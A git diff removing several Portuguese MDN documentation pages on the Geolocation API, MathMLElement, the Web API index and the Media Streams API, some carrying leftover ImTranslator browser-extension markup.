- <td>{{CompatGeckoDesktop("1.9.1")}}</td>
- <td>9</td>
- <td>10.60<br>
- Removed in 15.0<br>
- Reintroduced in 16.0</td>
- <td>5</td>
- </tr>
- <tr>
- <td>Apenas contexto de segurança</td>
- <td>47</td>
- <td>{{CompatUnknown()}}</td>
- <td>{{CompatGeckoDesktop("55")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Edge</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatUnknown()}}</td>
- <td>{{CompatUnknown()}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile("4")}}</td>
- <td>{{CompatUnknown()}}</td>
- <td>10.60</td>
- <td>{{CompatUnknown()}}</td>
- </tr>
- <tr>
- <td>Apenas contexto de segurança</td>
- <td>{{CompatNo}}</td>
- <td>47</td>
- <td>{{CompatUnknown()}}</td>
- <td>{{CompatGeckoDesktop("55")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/Geolocation/Utilizacao_da_geolocalizacao" title="/en-US/docs/WebAPI/Using_geolocation">API de geolocalização</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: 0% 0% repeat scroll rgba(0, 0, 0, 0); display: none; opacity: 1; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/geolocation_api/index.html b/files/pt-pt/web/api/geolocation_api/index.html
deleted file mode 100644
index c9d0a60cb1..0000000000
--- a/files/pt-pt/web/api/geolocation_api/index.html
+++ /dev/null
@@ -1,243 +0,0 @@
----
-title: API de Geolocalização
-slug: Web/API/Geolocation_API
-tags:
- - API de Geolocalização
- - Guía
- - Intermediário
-translation_of: Web/API/Geolocation_API
-original_slug: Web/API/Geolocation/Utilizacao_da_geolocalizacao
----
-<p>{{securecontext_header}}{{APIRef("Geolocation API")}}</p>
-
-<p>A <strong>API de geolocalização </strong>permite que o utilizador forneça a sua localização nas aplicações da Web, se assim o desejar. Por motivos de segurança, é solicitado ao utilizador para dar permissão para informar a informação da localização.</p>
-
-<h2 id="O_objeto_de_geolocalização">O objeto de geolocalização</h2>
-
-<p>A API de <a href="/pt-PT/docs/Web/API/Geolocation">Geolocation</a> é publicada através do objeto {{domxref("navigator.geolocation")}}.</p>
-
-<p>Se o objeto existir, os serviços de geolocalização estarão disponíveis. Pode testar a presença de geolocalização assim:</p>
-
-<pre class="brush: js">if ("geolocation" in navigator) {
- /* geolocation is available */
-} else {
- /* geolocation IS NOT available */
-}
-</pre>
-
-<div class="note">
-<p><strong>Nota:</strong> On Firefox 24 and older versions, <code>"geolocation" in navigator</code> always returned <code>true</code> even if the API was disabled. This has been fixed with <a href="/en-US/docs/Mozilla/Firefox/Releases/25/Site_Compatibility">Firefox 25</a> to comply with the spec. ({{bug(884921)}}).</p>
-</div>
-
-<h3 id="Obter_a_posição_atual">Obter a posição atual</h3>
-
-<p>To obtain the user's current location, you can call the {{domxref("geolocation.getCurrentPosition()","getCurrentPosition()")}} method. This initiates an asynchronous request to detect the user's position, and queries the positioning hardware to get up-to-date information. When the position is determined, the defined callback function is executed. You can optionally provide a second callback function to be executed if an error occurs. A third, optional, parameter is an options object where you can set the maximum age of the position returned, the time to wait for a request, and if you want high accuracy for the position.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> By default, {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} tries to answer as fast as possible with a low accuracy result. It is useful if you need a quick answer regardless of the accuracy. Devices with a GPS, for example, can take a minute or more to get a GPS fix, so less accurate data (IP location or wifi) may be returned to {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p>
-</div>
-
-<pre class="brush: js">navigator.geolocation.getCurrentPosition(function(position) {
- do_something(position.coords.latitude, position.coords.longitude);
-});</pre>
-
-<p>The above example will cause the <code>do_something()</code> function to execute when the location is obtained.</p>
-
-<h3 id="Vigiar_a_posição_atual">Vigiar a posição atual</h3>
-
-<p>If the position data changes (either by device movement or if more accurate geo information arrives), you can set up a callback function that is called with that updated position information. This is done using the {{domxref("Geolocation.watchPosition()","watchPosition()")}} function, which has the same input parameters as {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. The callback function is called multiple times, allowing the browser to either update your location as you move, or provide a more accurate location as different techniques are used to geolocate you. The error callback function, which is optional just as it is for {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, can be called repeatedly.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> pode utilizar {{domxref("Geolocation.watchPosition()","watchPosition()")}} sem uma chamada inicial {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p>
-</div>
-
-<pre class="brush: js">var watchID = navigator.geolocation.watchPosition(function(position) {
- do_something(position.coords.latitude, position.coords.longitude);
-});</pre>
-
-<p>The {{domxref("Geolocation.watchPosition()","watchPosition()")}} method returns an ID number that can be used to uniquely identify the requested position watcher; you use this value in tandem with the {{domxref("Geolocation.clearWatch()","clearWatch()")}} method to stop watching the user's location.</p>
-
-<pre class="brush: js">navigator.geolocation.clearWatch(watchID);
-</pre>
-
-<h3 id="Resposta_de_ajuste_preciso">Resposta de ajuste preciso</h3>
-
-<p>Both {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} and {{domxref("Geolocation.watchPosition()","watchPosition()")}} accept a success callback, an optional error callback, and an optional <a href="/en-US/docs/Web/API/PositionOptions">PositionOptions</a> object.</p>
-
-<p>{{page("/en-US/docs/DOM/navigator.geolocation.getCurrentPosition","PositionOptions")}}</p>
-
-<p>A call to {{domxref("Geolocation.watchPosition()","watchPosition")}} could look like:</p>
-
-<pre class="brush: js">function geo_success(position) {
- do_something(position.coords.latitude, position.coords.longitude);
-}
-
-function geo_error() {
- alert("Sorry, no position available.");
-}
-
-var geo_options = {
- enableHighAccuracy: true,
- maximumAge : 30000,
- timeout : 27000
-};
-
-var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);</pre>
-
-<h2 id="Descrever_uma_posição">Descrever uma posição</h2>
-
-<p>The user's location is described using a <code>Position</code> object referencing a <code>Coordinates</code> object.</p>
-
-<p>{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","Position")}}</p>
-
-<p>{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","Coordinates")}}</p>
-
-<h2 id="Lidar_com_erros">Lidar com erros</h2>
-
-<p>The error callback function, if provided when calling <code>getCurrentPosition()</code> or <code>watchPosition()</code>, expects a <a href="/en-US/docs/Web/API/PositionError">PositionError</a> object as its first parameter.</p>
-
-<pre class="brush: js">function errorCallback(error) {
- alert('ERROR(' + error.code + '): ' + error.message);
-};
-</pre>
-
-<p>{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","PositionError")}}</p>
-
-<h2 id="Exemplo_de_Geolocalização_Live">Exemplo de Geolocalização <em>Live</em></h2>
-
-<div class="hidden">
-<pre class="brush: css">body {
- padding: 20px;
- background-color:#ffffc9
-}
-
-p { margin : 0; }
-</pre>
-</div>
-
-<h3 id="Conteúdo_HTML">Conteúdo HTML</h3>
-
-<pre class="brush: html;">&lt;p&gt;&lt;button onclick="geoFindMe()"&gt;Show my location&lt;/button&gt;&lt;/p&gt;
-&lt;div id="out"&gt;&lt;/div&gt;
-</pre>
-
-<h3 id="Conteúdo_JavaScript">Conteúdo JavaScript</h3>
-
-<pre class="brush: js;">function geoFindMe() {
- var output = document.getElementById("out");
-
- if (!navigator.geolocation){
- output.innerHTML = "&lt;p&gt;Geolocation is not supported by your browser&lt;/p&gt;";
- return;
- }
-
- function success(position) {
- var latitude = position.coords.latitude;
- var longitude = position.coords.longitude;
-
- output.innerHTML = '&lt;p&gt;Latitude is ' + latitude + '° &lt;br&gt;Longitude is ' + longitude + '°&lt;/p&gt;';
-
- var img = new Image();
- img.src = "https://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&amp;zoom=13&amp;size=300x300&amp;sensor=false";
-
- output.appendChild(img);
- }
-
- function error() {
- output.innerHTML = "Unable to retrieve your location";
- }
-
- output.innerHTML = "&lt;p&gt;Locating…&lt;/p&gt;";
-
- navigator.geolocation.getCurrentPosition(success, error);
-}
-</pre>
-
-<h3 id="Resultado_Live">Resultado <em>Live</em></h3>
-
-<p>{{EmbedLiveSample('Geolocation_Live_Example', 350, 410)}}</p>
-
-<h2 id="Aviso_para_permissão">Aviso para permissão</h2>
-
-<p>Any add-on hosted on <a href="https://addons.mozilla.org/">addons.mozilla.org</a> which makes use of geolocation data must explicitly request permission before doing so. The following function will request permission in a manner similar to the automatic prompt displayed for web pages. The user's response will be saved in the preference specified by the <code>pref</code> parameter, if applicable. The function provided in the <code>callback</code> parameter will be called with a boolean value indicating the user's response. If <code>true</code>, the add-on may access geolocation data.</p>
-
-<pre class="brush: js">function prompt(window, pref, message, callback) {
- let branch = Components.classes["@mozilla.org/preferences-service;1"]
- .getService(Components.interfaces.nsIPrefBranch);
-
- if (branch.getPrefType(pref) === branch.PREF_STRING) {
- switch (branch.getCharPref(pref)) {
- case "always":
- return callback(true);
- case "never":
- return callback(false);
- }
- }
-
- let done = false;
-
- function remember(value, result) {
- return function() {
- done = true;
- branch.setCharPref(pref, value);
- callback(result);
- }
- }
-
- let self = window.PopupNotifications.show(
- window.gBrowser.selectedBrowser,
- "geolocation",
- message,
- "geo-notification-icon",
- {
- label: "Share Location",
- accessKey: "S",
- callback: function(notification) {
- done = true;
- callback(true);
- }
- }, [
- {
- label: "Always Share",
- accessKey: "A",
- callback: remember("always", true)
- },
- {
- label: "Never Share",
- accessKey: "N",
- callback: remember("never", false)
- }
- ], {
- eventCallback: function(event) {
- if (event === "dismissed") {
- if (!done) callback(false);
- done = true;
- window.PopupNotifications.remove(self);
- }
- },
- persistWhileVisible: true
- });
-}
-
-prompt(window,
- "extensions.foo-addon.allowGeolocation",
- "Foo Add-on wants to know your location.",
- function callback(allowed) { alert(allowed); });
-</pre>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{Compat("api.Geolocation")}}</p>
-
-<h3 id="Disponibilidade">Disponibilidade</h3>
-
-<p>Como a localização baseada em Wi-Fi é geralmente fornecida pelo Google, a API de Geolocalização "vanilla" pode estar indisponível na China. Pode utilizar os provedores locais de terceiros, tais como  <a href="http://lbsyun.baidu.com/index.php?title=jspopular/guide/geolocation">Baidu</a>, <a href="https://lbs.amap.com/api/javascript-api/guide/services/geolocation#geolocation">Autonavi</a>, ou <a href="http://lbs.qq.com/tool/component-geolocation.html">Tencent</a>. Estes serviços utilziam o endereço de IP do utilizador e/ou uma aplicação local para fornecer o posicionamento melhorado.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{domxref("navigator.geolocation")}}</li>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Web/Apps/Fundamentals/gather_and_modify_data/Plotting_yourself_on_the_map">Localizar-se no mapa</a></li>
- <li><a href="https://www.w3.org/TR/geolocation-API/" rel="external">API de Geolocation em w3.org</a></li>
- <li><a href="https://hacks.mozilla.org/2013/10/who-moved-my-geolocation/">Quem moveu a minha geolocalização?</a> (Blogue de <em>Hacks</em>)</li>
-</ul>
diff --git a/files/pt-pt/web/api/index.html b/files/pt-pt/web/api/index.html
deleted file mode 100644
index 196c30c28f..0000000000
--- a/files/pt-pt/web/api/index.html
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: APIs da Web (Interfaces)
-slug: Web/API
-tags:
- - API
- - DOM
- - JavaScript
- - Referencia
- - Web
-translation_of: Web/API
----
-<p>Quando escrever código para a Web com Javascript, estão disponíveis muitas APIs excelentes. Em baixo, tem uma lista de interfaces (ou seja, tipos de objetos) que poderá utilizar durante o desenvolvimento da sua aplicaçao ou site da <em>Web</em>.</p>
-
-<p>{{APIListAlpha}}</p>
diff --git a/files/pt-pt/web/api/mathmlelement/index.html b/files/pt-pt/web/api/mathmlelement/index.html
deleted file mode 100644
index ee2504017a..0000000000
--- a/files/pt-pt/web/api/mathmlelement/index.html
+++ /dev/null
@@ -1,72 +0,0 @@
----
-title: MathMLElement
-slug: Web/API/MathMLElement
-tags:
- - API
- - Interface
- - MathML
- - MathMLElement
- - Referencia
-translation_of: Web/API/MathMLElement
----
-<div>{{APIRef("MathML")}}</div>
-
-<p class="summary">A interface <strong><code>MathMLElement</code></strong> representa qualquer elemento <a href="/pt-PT/docs/Web/MathML">MathML</a>.</p>
-
-<h2 id="Propiedades">Propiedades</h2>
-
-<p><em>Esta interface não tem propriedades, mas herda propriedades de: {{DOMxRef("DocumentAndElementEventHandlers")}}, {{DOMxRef("Element")}}, {{DOMxRef("ElementCSSInlineStyle")}}, {{DOMxRef("GlobalEventHandlers")}}, {{DOMxRef("HTMLOrForeignElement")}}</em></p>
-
-<ul>
-</ul>
-
-<h2 id="Métodos">Métodos</h2>
-
-<p><em>Esta interface não tem métodos, mas herda métodos de: {{DOMxRef("DocumentAndElementEventHandlers")}}, {{DOMxRef("Element")}}, {{DOMxRef("ElementCSSInlineStyle")}}, {{DOMxRef("GlobalEventHandlers")}}, {{DOMxRef("HTMLOrForeignElement")}}</em></p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="MathML">MathML</h3>
-
-<pre class="brush: html notranslate">&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;
- &lt;msqrt&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;/msqrt&gt;
-&lt;/math&gt;</pre>
-
-<h3 id="JavaScript">JavaScript</h3>
-
-<pre class="brush: js notranslate">document.querySelector('msqrt').constructor.name; // MathMLElement</pre>
-
-<h2 id="Specification" name="Specification">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><a href="https://mathml-refresh.github.io/mathml-core/#dom-mathmlelement">MathMLElement interface</a></td>
- <td></td>
- <td></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.MathMLElement")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{DOMxRef("Element")}}</li>
- <li>{{DOMxRef("HTMLElement")}}</li>
- <li>{{DOMxRef("SVGElement")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/media_streams_api/index.html b/files/pt-pt/web/api/media_streams_api/index.html
deleted file mode 100644
index 34fefc2bae..0000000000
--- a/files/pt-pt/web/api/media_streams_api/index.html
+++ /dev/null
@@ -1,212 +0,0 @@
----
-title: API de Captura de Transmissões de Multimédia (Media Streams)
-slug: Web/API/Media_Streams_API
-tags:
- - API
- - API de Transmissão de Multimédia
- - Audio
- - Avançado
- - Guía
- - Introdução
- - Media
- - Multimedia
- - Video
-translation_of: Web/API/Media_Streams_API
-original_slug: Web/API/API_transmissoes_multimedia
----
-<div>{{DefaultAPISidebar("Media Capture and Streams")}}</div>
-
-<p>A API de <em><strong>Media Capture and Streams</strong></em>, muitas vezes chamada de <em>Media Stream API</em> ou <em>Stream API</em>, é uma API relacionada com <a href="/pt-PT/docs/Web/API/API_WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> que suporta transmissões de dados de áudio ou vídeo, os métodos para trabalhar com eles, as restrições associadas com o tipo de dados, as devoluções de retorno de sucesso e erro quando utilizar os dados de forma assíncrona, e os eventos que foram ativados durante o processo.</p>
-
-<h2 id="Conceitos_básicos">Conceitos básicos</h2>
-
-<p>The API is based on the manipulation of a {{domxref("MediaStream")}} object representing a flux of audio- or video-related data. See an example in <a href="/docs/Web/API/API_WebRTC/Tirar_fotografias" title="/en-US/docs/WebRTC/taking_webcam_photos#Get_the_video">Get the video</a>.</p>
-
-<p>A <code>MediaStream</code> consists of zero or more {{domxref("MediaStreamTrack")}} objects, representing various audio or video <strong>tracks</strong>. Each <code>MediaStreamTrack</code> may have one or more <strong>channels</strong>. The channel represents the smallest unit of a media stream, such as an audio signal associated with a given speaker, like <em>left</em> or <em>right</em> in a stereo audio track.</p>
-
-<p><code>MediaStream</code> objects have a single <strong>input</strong> and a single <strong>output</strong>. A <code>MediaStream</code> object generated by {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} is called <em>local</em>, and has as its source input one of the user's cameras or microphones. A non-local <code>MediaStream</code> may be representing to a media element, like {{HTMLElement("video")}} or {{HTMLElement("audio")}}, a stream originating over the network, and obtained via the WebRTC {{domxref("RTCPeerConnection")}} API, or a stream created using the <a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a> {{domxref("MediaStreamAudioSourceNode")}}.   The output of the <code>MediaStream</code> object is linked to a <strong>consumer</strong>. It can be a media elements, like {{HTMLElement("audio")}} or {{HTMLElement("video")}},  the WebRTC {{domxref("RTCPeerConnection")}} API or a <a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a> {{domxref("MediaStreamAudioDestinationNode")}}.</p>
-
-<h2 id="Referência">Referência</h2>
-
-<div class="index">
-<ul>
- <li>{{event("addtrack")}} (event)</li>
- <li>{{domxref("AudioStreamTrack")}}</li>
- <li>{{domxref("BlobEvent")}}</li>
- <li>{{event("ended")}} (event)</li>
- <li>{{domxref("MediaStream")}}</li>
- <li>{{domxref("MediaStreamTrack")}}</li>
- <li>{{domxref("MediaStreamTrackEvent")}}</li>
- <li>{{domxref("MediaTrackCapabilities")}}</li>
- <li>{{domxref("MediaTrackConstraints")}}</li>
- <li>{{domxref("MediaTrackSettings")}}</li>
- <li>{{domxref("MediaTrackSupportedConstraints")}}</li>
- <li>{{event("muted")}} (event)</li>
- <li>{{domxref("NavigatorUserMedia")}}</li>
- <li>{{domxref("NavigatorUserMediaError")}}</li>
- <li>{{event("overconstrained")}} (event)</li>
- <li>{{event("removetrack")}} (event)</li>
- <li>{{event("started")}} (event)</li>
- <li>{{event("unmuted")}} (event)</li>
- <li>{{domxref("URL")}}</li>
- <li>{{domxref("VideoStreamTrack")}}</li>
-</ul>
-</div>
-
-<h2 id="Guias_e_tutoriais">Guias e tutoriais</h2>
-
-<p>{{LandingPageListSubpages}}</p>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{ CompatibilityTable }} </p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Edge</th>
- <th>Internet Explorer</th>
- <th>Opera </th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Stream API </td>
- <td>21{{ property_prefix("webkit") }} </td>
- <td>Nightly 18{{ property_prefix("moz") }} </td>
- <td>{{ CompatVersionUnknown }}</td>
- <td>{{ CompatUnknown }} </td>
- <td>12</td>
- <td>{{ CompatUnknown }} </td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Edge</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>API de emissão</td>
- <td>{{ CompatNo }} </td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{ CompatUnknown }}</td>
- <td>{{ CompatUnknown }} </td>
- <td>{{ CompatNo }} </td>
- <td>{{ CompatNo }} </td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p> </p>
-
-<p>Currently using WebRTC for accessing the camera is supported in Chrome, Opera and Firefox Nightly 18. Enabling WebRTC in Firefox Nightly requires you to set a flag in the configuration:</p>
-
-<ul>
- <li>Type "about:config" in the address bar and say yes that you want to make changes</li>
- <li>Find the "media.navigator.enabled" entry and set it to true</li>
-</ul>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/API_WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> - a página introdutória para a API</li>
- <li>{{domxref("mediaDevices.getUserMedia()")}}</li>
- <li><a href="/pt-PT/docs/Web/API/API_WebRTC/Tirar_fotografias">Tirar fotografias com a câmara da <em>Web</em></a>: tutorial sobre como utilizar <code>getUserMedia()</code>.</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
